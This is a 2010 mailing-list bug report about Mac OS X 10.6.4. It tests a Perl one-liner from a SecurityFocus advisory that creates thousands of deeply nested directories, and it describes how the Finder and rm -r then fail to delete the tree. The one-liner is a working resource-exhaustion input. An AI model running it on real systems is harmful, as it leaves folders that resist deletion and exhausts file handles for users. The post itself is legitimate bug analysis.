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A question of depth
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A question of depth

  • Subject: A question of depth
  • From: Stéphane Sudre <email@hidden>
  • Date: Thu, 8 Jul 2010 16:51:02 +0200
- I'm playing with the following perl line:

perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'

which is from http://www.securityfocus.com/bid/34008/info

I'm checking it on a Mac OS X 10.6.4 system.

This does not produce a crash, it just takes some time to complete.


The problem I'm seeing is that I can't delete the top CCCCCCCCCCCCCCCCCCCCCC folder. If I put it in the Trash and tell the Finder to empty the trash, it does nothing.

If I disclose the contents of the CCCCCCCCCCCCCCCCCCCCCC folder in the Trash (with the alt key), it only shows 44 levels.

When you try to do a rm -r on the folder, it fails because "Too many open files in system".


- I'm also playing with a slight variation:

perl -e '$a="D"x22;for(1..60){ ! -d $a and mkdir $a and chdir $a }'

Problems:

. Only 44 levels shown in the Trash

. The Empty Trash action does not work

. More surprising, when you run rm -r DDDDDDDDDDDDDDDDDDDDDD, it asks:

override rwxr-xr-x toto/staff for DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/ DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD/DDDDDDDDDDDDDDDDDDDDDD?


I'm not especially interested by all the problems related to MAX_PATHLEN and sysctl max files but:

[Q] Shouldn't there be a warning dialog in the Finder to report that the empty request failed?

[Q] Isn't the "override rwxr-xr-x toto/staff" request a bug considering the request is not made for a hierarchy with only 1 or 2 levels?


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